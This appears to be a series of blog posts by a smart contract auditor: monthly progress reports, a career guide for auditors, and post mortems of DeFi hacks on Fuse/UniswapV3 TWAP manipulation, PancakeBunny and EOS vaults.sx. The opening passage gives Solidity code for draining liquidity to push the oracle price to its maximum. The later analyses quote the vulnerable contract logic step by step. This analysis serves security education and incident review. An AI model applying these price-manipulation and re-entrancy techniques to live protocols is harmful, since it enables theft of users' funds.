Block 13537928 Price: 7977279.941027
Block 13537929 Price: 215644807.583917
Block 13537930 Price: 690402294.848451
Block 13537931 Price: 1017552049.183367
Block 13537932 Price: 1960630954978.808896

Finally, they deposited the received VUSD as collateral into the Fuse pool at this highly-inflated price and borrowed all other pool assets against it.

Why is it easy to manipulate UniswapV3’s TWAP?

There has been a lot of discussion regarding using the geometric mean as a TWAP (which UniswapV3 uses) vs arithmetic mean (which UniswapV2 uses), but this is not the issue here. The UniswapV3 prices are generally easier to manipulate than UniswapV2 because of the concentrated liquidity feature that makes sure that most liquidity is provided at a small range around the “real price” (external market price). Because of this, an attacker can burn through this range order with an average execution price close to the real price. The attacker does not lose much value on the trade due to the low slippage, they benefit from the capital efficiency like any other trader.

We haven’t seen this with UniswapV2’s TWAP before because, there, liquidity is provided across the entire price spectrum. This leads to an extremely high slippage loss & initial capital requirement when trying to drastically change the price.

Implementation

Now that we know how the attack works, let’s implement it. Let’s first have a look at what the attacker did (wrong) in this price manipulation transaction.

They were funded by a 100 ETH tornado cash withdrawal. They used part of this ETH to buy USDC on the WETH <> USDC pair.
They used a VUSD Minter contract which mints VUSD if you provide any of DAI, USDC or USDT.
They then created a UniswapV3 LP position close to the minimum tick range (-88760, -88760 + TICK_SPACING = -88750)
They traded 232k USDC (token1) to 222k VUSD (token0) buying up the entire VUSD liquidity and driving the price to the max tick 887271.

Instead of using a Minter contract in step 2, we can make it easier for ourselves and just buy VUSD in the pool that we’re going to manipulate anyway. I spent a long time thinking about why step 3, providing a tiny LP position, is required. Initially, I thought the max price (or tick) can only be reached if there’s actual liquidity at that price that we can trade into, and therefore we create a small position there. But if you look closely, you can see that the current tick after the trade is at +MAX_TICK but the LP position is at -MAX_TICK.

After more testing, it turns out that step 2) and step 3) are not even needed and the attacker simply didn’t know what they were doing and provided liquidity at the wrong end. (It’s also not even necessary to provide it at the correct end.)

Our price manipulation attack is therefore much more efficient: we also first buy USDC, but then simply buy up all VUSD. Another interesting technical detail is that the attacker perfectly calculated the trade amount required to buy up all liquidity and I first couldn’t figure out how to do this. When trying to buy the entire VUSD pool balance (VUSD.balanceOf(pool)) the swap reverts. This is probably because not all tokens in the pool are tradeable, there might still be some unclaimed fees in it.

After more testing, I figured out a way to buy all pool liquidity without having to specify neither an exact input nor an exact output amount. This is done by calling the swap function directly on the pool with an amount set to infinity and a price limit at the max tick. We essentially instruct the contract to do a limit buy order, buying all liquidity up to this price.

function buyAllVUSD() internal {
    // we won't actually be able to buy up the entire VUSD.balanceOf(pool) balance, it'll be slightly less. I assume this is due to fees still in the contract or something
    // instead we use the sqrtPriceLimit at a max tick to search and buy up all liquidity up to this tick, s.t., in the end the new price will be at max tick
    // the sqrtPriceLimitX96 used here will end up being the sqrtPrice & currentTick of pool.slot0(), so pump it up to the maximum
    pool.swap(
        address(this), // receiver
        false, // zeroToOne (swap token0 to token1?)
        type(int256).max, // amount
        UniswapMath.getSqrtRatioAtTick(UniswapMath.MAX_TICK - 1), // sqrtPriceLimit
        "" // callback data
    );
}

The pool then performs a callback into our contract where we need to settle the trade:

function uniswapV3SwapCallback(
    int256 amount0Delta,
    int256 amount1Delta,
    bytes calldata
) external {
    // Uniswap always does callback to its msg.sender, so we only receive the callbacks we started
    // still need to check that it originated from the v3 pool
    require(msg.sender == address(pool));
    // negative means we received, positive means we need to pay
    require(
        amount0Delta <= 0 && amount1Delta > 0,
        "should have swapped USDC to VUSD"
    );
    USDC.transfer(address(pool), uint256(amount1Delta));
}

And that’s it. ✨ Now we wait for one block for the VUSD TWAP to increase, deposit VUSD as collateral and borrow WBTC for a profit. The full attack contract code can be seen here.

Progress Report - October 2021

Tue, 02 Nov 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in October

I worked 156 productive on side projects hours last month. I noticed this includes C4 but it probably shouldn’t be considered a side-project of mine anymore.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: UXD’s stablecoin mechanism
Song of the Month: Steve Erevitt - Twa Brigs
TV series of the Month: I didn’t watch any. Anime recommendations welcome.

What was worked on

I participated in all C4 contests again.
Learned some Rust and started building a Solana NFT analyzer CLI.
Bought fewer NFTs than last month, I’m starting to have NFT fatigue, especially with the 10k/10k projects without utility. Got rugged by Piggy Sol Gang who suddenly decided to go back on their promise to pay out Alpha Art market royalties.

Platform Growth

Website

Sessions increased a bit to 6,383 on my website.

Published one new blog post:

How to become a smart contract auditor

Subscribers

My twitter followers increased by 324 to 1751. The growth came mostly from my tweet about the “How to become an auditor” blog post.

I set a new record for my most liked tweet as well, it was a shitpost replying to a cringe @Meta tweet.

pic.twitter.com/b0WwJpAAmr
— Christoph Michel (@cmichelio) October 29, 2021

Shitposting is indeed easier than thoughtful tweets.

Sales

Learn EOS Development

I sold 4 books last month.

What’s next

More of the same same, auditing, maybe some Rust&Solana, maybe some bug bounties, maybe some real life.

How to become a smart contract auditor

Sat, 30 Oct 2021 00:00:00 GMT

From time to time, I receive messages asking me for advice on how to get started as a smart contract security auditor. While there are already articles written about this topic, most of them are just a collection of security-related articles which they throw at beginners, overwhelming them. I’ll provide a path that I would take if I had to do it all over again. This will be ETH specific (or more general EVM-specific) as most auditing work is currently still in this ecosystem.

At the end, I’ll also go over frequently asked questions that are related to auditing and getting your first job.

Who made me the expert?

Who am I and why should you even listen to me?

I’m currently an independent security researcher who has worked at traditional auditing firms before, so I know both sides. You don’t need to listen to me but if you reached out to me, you probably have your own reasons why you think my advice is valuable. At the time of writing, I’m currently ranked #1 auditor at Code4rena, how much weight you want to give to this ranking is again up to you.

Learn programming

I expect that you already know how to code, any language is fine. If not, learning how to code should be your first step as auditing code requires being able to read it. In my opinion, being a developer is a prerequisite, otherwise, you’re spending too much time trying to make sense of the syntax and the semantics of the individual instructions. It’d be like trying to read Nietzsche while being illiterate. Become literate first. This is definitely the step that takes the most time to learn, learning the security aspects happens a lot faster.

If you have no prior programming experience, be mentally prepared that it’ll take you years before your reviews will be useful. I’d start with JavaScript, it’s the most beginner-friendly and versatile language. If it turns out you don’t actually like being an auditor, the transition to being a frontend, backend or smart contract developer is easy. The syntax of Solidity and JavaScript are also somewhat similar.

Learn ETH blockchain & Solidity basics

So you know how to code now but don’t know anything about Ethereum and Solidity yet. The quickest way to learn a new language is by using it in practice, by writing code in it - reading only the docs does not make the knowledge stick (and for some reason, even after all these years I still find the Solidity docs confusing and unstructured). There’s no better way to combine learning Solidity with learning about ETH security than solving CTFs.

CTFs (Capture The Flags / War games) are security challenges where vulnerable code is presented and you need to write a smart contract to exploit the vulnerability.

These are the three CTFs I personally solved to learn Solidity and the language:

The Ethernaut and Capture The Ether challenges often overlap and some vulnerabilities only apply to old Solidity versions. You won’t see them in modern code anymore; be aware of that.

These CTFs were originally made to be run against an Ethereum testnet for which it’s hard to get any ETH funds and the development experience is very cumbersome. I recommend an alternative approach of using modern testing frameworks & forking to solve these challenges, it’s described in my Ethernaut Solutions post. You can clone my GitHub repo to start with the same setup.

There are also CTFs that are a lot harder, like Paradigm’s CTF. Scoring well in these shows that you know what you’re doing and they are great for getting hired, especially if you’re unknown. All major auditing firms reached out to me after my solutions blog post with the call-to-action at the end.

Become familiar with the most used smart contracts

There are certain contracts, patterns or even algorithms that you will see over and over again during your auditing career. It’s good to become familiar with them and deeply understand how they work and their nuances.

Token contracts: The most used token standards are EIP20 for fungible tokens, and EIP721 for NFTs. There are many more, but these two are all you need to know in the beginning. It’s important to understand that the original ERC20 standard evolved a lot and there are tokens that do not comply with the final EIP20 (most notably USDT), which does not return a success boolean among other issues. You should also understand that tokens can have different decimals and they’re to be interpreted as a floating-point number with the decimals precision, i.e., 1e18 TOKENS (= 10**18 TOKENS) ~ 1.0 TOKENS for a token with 18 decimals. You’ll encounter a lot of bugs where some computed token amount is in the wrong number of decimals.
Proxies: Ethereum contracts are not upgradeable. If you want to update the code, you need to deploy a new contract. However, that means that the storage which still resides in the original contract is also lost. Thus proxies implement the idea to separate the storage from the logic. There are many different proxy implementations, have a look at the OpenZeppelin Proxy. You should understand how delegatecall is essential for building proxies.
MasterChef: The MasterChef is a staking contract where users deposit liquidity pool (LP) tokens and receive rewards proportional to their time * stakeAmount. This contract has been forked a lot but the main reason why it’s important to understand is that its reward algorithm appears in many different places. Paradigm calls it the Billion-dollar algorithm. You should understand how it works and why it’s needed in a blockchain setting (cannot update all users at the same time).
Compound: I’d say Compound is the basis for all decentralized peer-to-peer lending protocols. You should know it as a lot of DeFi primitives interact with lending protocols in some way. The code is also cleaner than Aave’s and it’s a great example of what good documentation looks like. Its Governor & TimeLock contracts are used as governance contracts of many other protocols as well. You should notice the similarities between the MasterChef reward algorithm and the way debt is accrued for the user through borrowIndex.
UniswapV2: While Uniswap is already on V3, Uniswap V2 is significantly simpler, less gas-golfed, and still the basis for understanding automated market makers (AMMs) in general. You should also understand how LP tokens (more generally, share tokens that give you a fair share of an underlying balance) work.

Learn the finance basics

There will be a time when you’re auditing a DeFi project that uses a lot of traditional finance terms and you don’t understand anything. When you look these terms up, you’ll get definitions that refer to even more terms that you don’t know. I, therefore, found it really helpful to go through a basic finance course that does not assume anything and actually explains the intent of why one would use this specific financial instrument.

I recommend Khan Academy’s Options, swaps, futures, MBSs, CDOs, and other derivatives chapter where you’ll learn the terminology of options, shorting, futures (~perpetual contracts). From there, you can further expand and go deeper into the individual topics.

Getting real experience

At this point, your training is over and you’ll just keep reading more code and exploit post mortems to get better. Whenever the theory part gets too boring, you should try finding issues in real code, this could be bug bounties on Immunefi or audit contests on Code4rena. The great advantage here is that they are permissionless. You can be anonymous, there’s no need to pass a job interview, the payouts are purely skill-based. Receiving an actual bug bounty is a great addition in case you want to apply to auditing firms.

FAQ

I recently held an AMA on Secureum’s bootcamp and received many interesting questions to which I’ll share my answers here.

How do you stay up-to-date with security?

Be on Twitter for real-time notifications, but if you only want to read one aggregated piece each week, subscribe to the BlockThreat Newsletter by iphelix.

What’s the compensation?

I’m not an expert on this but I’d say hourly rates for auditors are roughly:

Junior: 100$/h
Experienced: 100$-250$/h
Top Auditors: 250$-1000$/h

I’d categorize compensation into two categories:

Fixed: You get paid a fixed (hourly) salary for your work
Skill-based: The more or higher-severity bugs you find, the bigger your compensation.

If you are a junior I’d recommend joining an auditing firm, if you’re on the other side of the bell curve, it’ll be more lucrative to seek opportunities with the latter compensation model. Note that top bug bounty hunters can earn much more with payouts in the millions for critical vulnerabilities.

How long does it take to review a codebase?

Scoping audits is always a tough task and in my opinion, you only get better at it with experience. But to give a rule of thumb: Let’s say you can audit 200 lines of code per hour (which is a standard assumption among some auditors afaik) - adjust that parameter down if the code is complex, math-heavy or if the documentation is bad. You then take the lines of code and divide it by 200 LOC/h, then you get the hours required to audit the code for a single person. If you’re an independent auditor you should also add 5h-10h for compiling the report and all the biz-dev work, plus answering questions. Then you multiply it by your hourly rate.

How do you know when to stop looking for bugs?

That’s a good question. I could always spend more time on the code and it would increase the likelihood of me finding bugs. But at some point, there’s the point of diminishing returns, where it’s not reasonable to spend any more time on the code.

Alexander Schlindwein was asked the same question regarding bug bounties but I think it applies to audits as well:

The approach which works best for me is to set myself the goal of fully understanding the system to the point where I could reimplement it from scratch without being allowed a look at the original codebase. Not from remembering the code, but from having understood what the application is supposed to do. If you have examined a project that far and have not found a bug, the chances of finding one by continuing is low. Interview

Realistically, I often stop before reaching that point due to time constraints and opportunity costs when I think my limited time is better spent elsewhere.

Can you be an auditor but not a developer?

In my opinion, auditors’ and developers’ skills mostly overlap. I’d even say being an auditor has made me a better developer. You’ve probably heard of this myth of a 10x engineer but it’s just someone who has worked on a lot of similar projects before and can copy-paste from their previous work such that assembling a new protocol happens a lot quicker compared to someone with no prior code to draw upon. I’ve probably seen ~100 Solidity codebases by now and know exactly where to look and copy code from if I had to build a new protocol. On the other side, a protocol dev knows more about areas like proper deployments, managing the day-to-day on-chain tasks, monitoring, etc. They also have better muscle memory for the syntax from actually typing out the code whereas I’m mostly reading it.

What tools do you use when auditing?

I don’t use any tools that directly perform vulnerability analysis. I only use the great “Solidity Visual Developer” VSCode extension that highlights storage variables and function parameters which makes it easier to have some context when reading a new codebase.

What makes a good auditor?

Besides the technical skills like knowing many types of exploits, knowing the EVM well, or having seen issues of similar protocols, a personality trait that I think is useful: conscientiousness - I feel like some auditors don’t even try to find all bugs and just want to be done with their job as quickly as possible. This is more likely to happen if the incentives are not aligned and you get paid a fixed salary as is often the case with traditional auditing firms. So you want to hire people that are conscientious, who take their job seriously and take pride in their work.

Do I need to know math?

I see more and more math-heavy DeFi protocols, so being good at math is definitely a plus.

What does your auditing process look like?

My auditing process is pretty straightforward. First I read the documentation. Then I read the code from top to bottom, I order the contracts in a way that makes sense for me: for example, I read the base class contract first before I read the derived class contract. I don’t use any tools, but I heavily take notes and scribble all over the code. 😃 I’m using the “Solidity Visual Developer” extension which comes with the @audit, @audit-info, @audit-ok, @audit-issue markers which I all use to categorize my notes. After having read the entire codebase once, I revisit my notes and resolve any loose ends or things I didn’t understand earlier. Afterwards, I create my audit report out of these notes.

Can you easily audit projects on other blockchains? Are newer chains more secure?

I looked into Solana which uses Rust and I have to say that the Rust learning curve is quite steep even for me and the non-conventional Solana blockchain model also needs some time getting used to. I think the safety guarantees that languages like Rust/Haskell give you will catch some low-hanging bugs but so will audits. The more interesting bugs are economic ones / wrong logic / unforeseen attack vectors.

Some reasons why I think that ETH sees so many exploits is that

the most innovative and therefore usually complex and untested protocols are still on ETH
the cross-contract function invocation model is great for re-entrancy bugs
special treatment of ETH instead of being just another ERC20 token
no built-in contract upgradeability, instead we got several complicated proxy and module patterns to work around this limitation
ETH’s open-source culture is much stronger than on any other chain and it’s much harder to find bugs in closed-source systems
ETH is still where the money is which attracts more eyeballs.

As you can see, there are some blockchain layer decisions that influence security which other blockchains have solved better. It’s not really about the smart contract language itself but more about understanding how the blockchain works and the implications regarding security. That’s the bigger hurdle to auditing a new chain, usually, this information is scattered across blog posts or not even documented at all and you have to look at the code or hope to find a core dev on Discord/Telegram.

Progress Report - September 2021

Sat, 02 Oct 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in September

I worked 139 productive on side projects hours last month.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: I finally read the Moloch post after which MolochDAO is named. It’s very hyped but it’s justified, go read it if you haven’t. Disclaimer: I stopped reading at part VI - the “Gnon” part.
Song of the Month: Hexadecimal - Original Mix
TV series of the Month: Squid Game

What was worked on

I participated in all C4 contests again. I received the biggest single-contest payout so far for Notional Finance
I started learning Solana because I don’t want to think twice before sending a transaction (fees), better UX, and great developer adoption. The developer documentation is horrible though. Reminds me of the early EOS days that made me write a book to fix it. I did Paulx’s tutorial and created integration tests for it. It’s nice to write the contracts and tests in the same language and be able to share code between them.
I bought more NFTs (on Solana; none of the valuable ones, I dislike their art and would rather be right than make money. Might buy a Galactic Gecko, I like their artwork.)
I started reading books again. Read Dostoevsky’s “Notes from Underground”. Can recommend it, the first part is hilarious, the second part can be skipped. Also, read Cedric Villani’s “Birth of a Theorem” to gain insights into how a Field Medalist winner’s works. But there were not many insights in it for me, just that he was obsessed with the math problem he worked on (Landau damping) and thought about it every waking minute. It’s still a nice read though.

Platform Growth

Website

Sessions stayed at 5,836 on my website.

I guess I’m not doing this blog post thing anymore.

Subscribers

My twitter followers increased by 91 to 1427.

Sales

Learn EOS Development

I sold 3 books last month.

Trading

My EOS trading bot seems to be done. It didn’t make any money this month. I should check if it crashed. 🙃 Update: No, it did not. Just saw that it did 5 EOS last month - who cares. I should write an NFT sniping bot instead. It’d be more interesting to see.

What’s next

I have a blog post planned on how to become a smart contract auditor as I’ve been asked this a lot recently. I might also dive deeper into Rust & Solana.

Progress Report - August 2021

Thu, 02 Sep 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in August

I worked 68 productive on side projects hours last month.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: STARK 101 - Build your own STARK prover from scratch. I haven’t finished the tutorial yet but so far I’m loving it. I also highly recommend reading this and this if you’re interested in ZK-snarks.
Song of the Month: Dopplereffekt - Die Reisen
I'm on a Gerald Donald trip again.
TV series of the Month: Didn’t watch anything worth mentioning.

What was worked on

Not much to report this month as I had some personal events to attend as you can see from my “Hours worked” chart.

Participated in all C4 contests again.
After buying my first NFT last month, I further developped my NFT addiction and minted a MAYC. The announcement and minting was at 3AM local time, luckily I still haven’t fixed my sleep schedule.

Platform Growth

Website

Sessions went down 5,859 on my website.

I did not stick to my bi-weekly schedule of releasing a blog post. It’s just not a priority at the moment as there are too many other rewarding things I’m working on.

Subscribers

My twitter followers increased by 88 to 1336.

Sales

Learn EOS Development

I sold 4 books last month.

Trading

My trading bot still somehow made ~30 EOS last month.

What’s next

I should at least write the next part of my Replaying ETH Hacks series at some point.

Progress Report - July 2021

Sun, 01 Aug 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in July

I worked 106 productive on side projects hours last month.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: “Being On-Call” - Google SREs. Super interesting to read about all the processes in place
Song of the Month: Ahzumjot - Lass uns scheinen
TV series of the Month: Manifest S01

What was worked on

I participated in all C4 contests again. New awards came in and I didn’t score that well in July, my lead as #1 on the leaderboard is slowly shrinking. It’s a combination of me missing issues, more competition, the competition getting better, and the judging / awarding still evolving and lacking clear rules on the verifiability of exploits, assigning proper severity, and deduplicating issues. Overall, it’s great as it forces me to stay on top of my game and keep improving.
Participated in my first NFT drop, got metadata sniped on OpenSea upon reveal. Could be the universe trying to tell me to stick to DeFi.

Platform Growth

Website

Pageviews stayed at around 8,000 on my website.

I did not stick to my bi-weekly schedule of releasing a blog post. I did not write a single new blog post last month, I’ve been busy with other work on the weekends.

I was mentioned on Sam’s shouldiusespotpriceasmyoracle.com.

Subscribers

After crossing the 1000 followers threshold on my twitter account last month, this month saw no stop and my follower count increased to 1248.

Sales

Learn EOS Development

I sold 4 books last month.

Trading

I thought about shutting down my arbitrage bot on EOS but it’s 100% hands-off and I didn’t update it in half a year, so I see no reason to. At last, I still made 35 EOS last month.

What’s next

I have some personal things to take care of, August will be a slower month work-wise.

Progress Report - June 2021

Thu, 01 Jul 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in June

I worked 101 productive on side projects hours last month.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Video of the Month: FlashBots: How to make $1m per month as a Solidity developer
Song of the Month: Bluestaeb - Valle de Rodalquilar
TV series of the Month: Dave S02

What was worked on

I participated in all C4 contests again. Results for some of the old ones are in and I’m glad to say that I’m still #1 on the leaderboard
released a CLI tool that scrapes a website for ETH addresses: scrape-eth

Platform Growth

Website

Sessions went down a lot to only 6,833 on my website. Not sure why.

Maybe, it’s because I did not stick to my bi-weekly schedule of releasing a blog post. I missed all of them … I was just really busy with other work.

Subscribers

My twitter followers increased by 134 to 1093! 🎉 It took 4.5 years to cross 1000 followers. It really picked up steam again after I focused more on ETH than on EOS.

Someone asked for resources to learn about ETH hacks in a more practical way and a lot of people liked my replaying ETH series. Once you’re across the 1000 followers threshold, it grows really fast.

Sales

Learn EOS Development

I sold 7 books last month.

Trading

I made 16 EOS last month trading crypto. 😅 I should just shut the bot down.

What’s next

I’m getting more interested in running arbitrage and liquidation bots again with all the MEV talk popping up recently. I’ll probably have to pick up Go and Rust.

On the other side, there were some interesting exploits this month again. Going bug hunting is probably the better use of my time but development work is much more relaxing than auditing.

Progress Report - May 2021

Tue, 01 Jun 2021 00:00:00 GMT

I post a progress report showing what I did and how my products performed each month. Last month’s report can be seen here.

What did I do

Hours worked on side-projects in May

I worked 102 productive on side projects hours last month.

To make these progress reports a bit more interesting, from now on I’ll post my favourite song, TV show, and article I read last month.

Article of the Month: Yield Space
Song of the Month: Oliver Tree - All in All
TV series of the Month: Boku no Hero Academia S05

What was worked on

I participated in all C4 contests again. Results for some of the old ones are in and I’m glad to say that I’m still #1 on the leaderboard CodeArena Leaderboard May 31st
Many hacks happened last month, I researched how some of them work and posted my analysis on Twitter or in a dedicated blog post
worked on a CLI tool that scrapes a website for ETH addresses. I’d often like to have a look at what contracts a frontend interacts with but don’t want to click on all the buttons for Metamask to pop up. I think it’s useful for all security auditors, bounty hunters, and hackers. I’ll release it this month.

Platform Growth

Website

Sessions went up at 9,969 on my website.

I stuck to my bi-weekly schedule of releasing a blog post with two posts about major hacks.

Subscribers

My Twitter followers increased by 135 (!) to 959. My EOS hack analysis Twitter post gained huge momentum in the EOS ecosystem, as well as tweeting about the other hacks, and Code423n4 praise. I could hit 1000 followers next month!

Sales

Learn EOS Development

I sold 3 books last month.

Trading

I made 103 EOS last month trading crypto.

What’s next

Keep doing the same (C4, hack analysis, bug bounties), it was a great month.

BSC PancakeBunny Exploit Post Mortem

Fri, 21 May 2021 00:00:00 GMT

On May 19th 2021, PancakeBunny was exploited by an attacker abusing a wrong PancakeSwap LP price computation in Bunny’s PriceCalculatorBSCV1 contract to mint 6.97M BUNNY tokens which were then exchanged for a profit of 114,631 WBNB (~30M USD).

Background

PancakeBunny is a yield aggregator accepting a variety of tokens, among them LP tokens from PancakeSwap. Stakers need to pay a 30% performance fee on the profits when withdrawing/claiming. However, they also receive BUNNY tokens in return - for every 1 BNB in fees collected, 3 BUNNY is rewarded to the depositor.

The Exploit

There’s an official post mortem but it lacks depth making it hard to understand. We will provide more details for the series of events:

The attacker deploys a contract, already acquires 9.2751 WBNB<>BUSD-T PancakeSwap LP tokens (380$), and deposits them to the VaultFlipToFlip contract in this first transaction.
Attacker takes a flashloan
Mints 144,445.5921 WBNB<>BUSDT v2 LP tokens to the pair contract itself. (The BunnyMinter will later receive these LP tokens when it calls the router.removeLiquidity function.)
Swaps 2,315,631 WBNB to 3,826,047 BUSDT in the different lower liquidity PancakeSwap v1 USDT/BNB pool, significantly increasing the WBNB in the pool’s reserves.
Attacker withdraws the “profit” of the staked LP tokens from 1) by calling VaultFlipToFlip.getReward() plus 6,972,455 minted BUNNY tokens. The minting of large amounts of BUNNY tokens on the performance fee is due to a wrong LP price calculation.
Trades the BUNNY tokens to WBNB.
Repays all flashloans.

Most of the attack happens in step 5) and it’s best understood by looking at the code.

The entry-point is the call to the VaultFlipToFlip.getReward function which computes the performance fee on the small amount of LP tokens provided in step 1) and then calls BunnyMinter.mintForV2(to=attacker).

// VaultFlipToFlip 0xd415e6caa8af7cc17b7abd872a42d5f2c90838ea
function getReward() external override {
    uint amount = earned(msg.sender); // returns 0.000521785526032378e18
    // ...

    amount = _withdrawTokenWithCorrection(amount); // withdraws same amount from MasterChef
    uint depositTimestamp = _depositedAt[msg.sender];
    uint performanceFee = canMint() ? _minter.performanceFee(amount) : 0; // 30% of earned
    if (performanceFee > DUST) {
        // important call that internally mints the BUNNY tokens
        _minter.mintForV2(address(_stakingToken), 0, performanceFee, msg.sender, depositTimestamp);
        amount = amount.sub(performanceFee);
    }

    _stakingToken.safeTransfer(msg.sender, amount); // withdraws 70% of earned LP tokens
}

function balance() public view override returns (uint amount) {
    (amount,) = CAKE_MASTER_CHEF.userInfo(pid, address(this)); // total LP token balance of all depositors
}
function balanceOf(address account) public view override returns(uint) {
    if (totalShares == 0) return 0;
    return balance().mul(sharesOf(account)).div(totalShares);
}
function earned(address account) public view override returns (uint) {
    if (balanceOf(account) >= principalOf(account) + DUST) {
        return balanceOf(account).sub(principalOf(account));
    } else {
        return 0;
    }
}

The _performanceFee amount determines the amount of BUNNY tokens to mint for the attacker (3 BUNNY per 1 WBNB) in mintForV2. But even with the manipulated PancakeSwap spot price, it would not make this attack profitable. Another amplifier is needed and this is where the LP provisioning from step 3) comes in: The fees (denoted in WBNB <> BUSDT LP tokens) are first traded for WBNB <> BUNNY LP tokens using the BunnyMinter._zapAssetsToBunnyBNB function which:

First calls pancakeRouter.removeLiquidity() with the fee amount. Internally, the router calls the pair.burn function which burns the whole LP token balance of the contract. This includes the 144,445 LP tokens from step 3), returning large amounts of WBNB and BUSDT to the BunnyMinter.
It then swaps these amounts to provide liquidity for the WBNB <> BUNNY pair. This swap happens in the manipulated v1 WBNB <> BUSDT PancakeSwap pair. It then returns the minted LP tokens.

// BunnyMinterV2.sol 0x819eea71d3f93bb604816f1797d4828c90219b5d
function mintForV2(address asset /* LP token */, uint _withdrawalFee /* 0 */, uint _performanceFee /* 0.00015... */, address to /* attacker */, uint) external payable override onlyMinter {
    uint feeSum = _performanceFee.add(_withdrawalFee);
    _transferAsset(asset, feeSum); // transfers LP tokens from VaultFlipToFlip to this

    // removes liquidity from WBNB <> BUSDT pool. Because of previously minted LPs returns
    // 2,961,750 USDT and 7,744 WBNB
    // then swaps these to WBNB and BUNNY using the manipulated v1 pool
    // and provides liquidity to the WBNB <> BUNNY pool returns these LP tokens as bunnyBNBAmount
    uint bunnyBNBAmount = _zapAssetsToBunnyBNB(asset, feeSum, true);

    if (bunnyBNBAmount == 0) return;

    IBEP20(BUNNY_BNB).safeTransfer(BUNNY_POOL, bunnyBNBAmount);
    IStakingRewards(BUNNY_POOL).notifyRewardAmount(bunnyBNBAmount);

    (uint valueInBNB,) = priceCalculator.valueOfAsset(BUNNY_BNB, bunnyBNBAmount); // returns inflated value
    uint contribution = valueInBNB.mul(_performanceFee).div(feeSum);
    uint mintBunny = amountBunnyToMint(contribution); // multiplies by 3 (1 WBNB : 3 BUNNY)
    if (mintBunny == 0) return;
    _mint(mintBunny, to); // mints BUNNY for attacker
}

Finally, the already high amount of WBNB <> BUNNY LP tokens are multiplied by a manipulated price in priceCalculator.valueOfAsset(BUNNY_BNB, bunnyBNBAmount).

// PriceCalculatorBSCV1.sol 0x81ef2bc1e02fee5414e46accc6ae14d833eebba0
function valueOfAsset(address asset, uint amount) public view override returns (uint valueInBNB, uint valueInUSD) {
    if (keccak256(abi.encodePacked(IPancakePair(asset).symbol())) == keccak256("Cake-LP")) {
        (uint reserve0, uint reserve1, ) = IPancakePair(asset).getReserves();
        if (IPancakePair(asset).token0() == WBNB) {
            valueInBNB = amount.mul(reserve0).mul(2).div(IPancakePair(asset).totalSupply());
            valueInUSD = valueInBNB.mul(priceOfBNB()).div(1e18);
        } else if (IPancakePair(asset).token1() == WBNB) {
            valueInBNB = amount.mul(reserve1).mul(2).div(IPancakePair(asset).totalSupply());
            valueInUSD = valueInBNB.mul(priceOfBNB()).div(1e18);
        } else {
            // ... recursion on both, not relevant
        }
    }
}

The TVL of the pool is computed as two times the WBNB reserves which have been inflated in step 2). This does not work and has already been used in the warp.finance hack.

The inflated value is then used to mint BUNNY tokens for the attacker.

EOS vaults.sx hack

Fri, 14 May 2021 00:00:00 GMT

The vaults.sx contract on EOS mainnet has been exploited through a re-entrancy attack. 1,180,142.5653 EOS (~13M USD) and 461,796.8968 USDT were stolen making this the biggest hack on EOS.

Vaults.sx is a yield aggregator where users can deposit EOS or USDT in return for interest-bearing SXEOS/SXUSDT tokens. The deposited tokens are then available in the flash.sx contract for flashloans and aggregate fees. Finally, SX tokens can be redeemed for a pro-rata share of the underlying funds + aggregated fees again.

EOS actions execution order

To understand the attack one first needs to understand the execution order of notifications (require_recipient) and normal inline actions (send_inline).

The eosio.token notifies both the sender and the recipient using require_recipient:

void token::transfer( const name&    from,
                      const name&    to,
                      const asset&   quantity,
                      const string&  memo )
{
    // ...

    require_recipient( from );
    require_recipient( to );

    // ...
}

Imagine both parties having a contract deployed that each creates a log inline action:

[[eosio::on_notify("*::transfer")]]
void tester::on_transfer(const name from, const name to, const asset quantity, const string memo )
{
    log_action log( get_self(), { get_self(), "active"_n });
    log.send( "hello from " + get_self().to_string() );
}

When sending a token from A to B using token.transfer(A, B, 1.0000 EOS, "") one might expect the following sequence of execution:

token.transfer receiver:token
token.transfer receiver:A
A.log receiver:A
token.transfer receiver:B
B.log receiver:B

But this is not the case. EOSIO always executes all notification handlers first before processing normal inline actions. After all notifications have been processed the created inline actions are processed depth-first. This means the actual execution order is:

token.transfer receiver:token
token.transfer receiver:A
token.transfer receiver:B
A.log receiver:A
B.log receiver:B

The consequence is that malicious inline actions can run between receiving the notification (token.transfer receiver:B) and creating the log inline action:

[[eosio::on_notify("*::transfer")]]
void tester::on_transfer(const name from, const name to, const asset quantity, const string memo )
{
    // not guaranteed to execute next (!)
    // if another contract received the same notification earlier and created an inline action
    // it'll be executed before this one
    log_action log( get_self(), { get_self(), "active"_n });
    log.send( "hello from " + get_self().to_string() );
}

The exploit

The exeuction order of the attacker transaction then performs the following steps chronologically:

token.transfer(attacker, vaults.sx): Deposit tokens to receive SX tokens
sxtoken.transfer(attacker, vaults.sx)@sxtoken Redeem half of the received SX tokens again by transferring them to the vault
sxtoken.transfer(attacker, vaults.sx)@attacker: This notifies the sender (attacker) who creates 1) an inline action to call the vaults.sx update function and 2) another inline action redeeming the second half of the SX tokens.

sxtoken.transfer(attacker, vaults.sx)@vaults.sx The receiver (vaults.sx) is notified, pays out the fair share of underlying tokens and correctly saves the new fund balance left in the contract:

void sx::vaults::on_transfer( const name from, const name to, const asset quantity, const string memo ) {
    // update internal deposit & supply
    _vault_by_supply.modify( supply_itr, get_self(), [&]( auto& row ) {
        // (!) decreases the deposit (underlying) by the out amount
        row.deposit -= out;
        row.supply.quantity -= quantity;
        row.last_updated = current_time_point();
    });
}

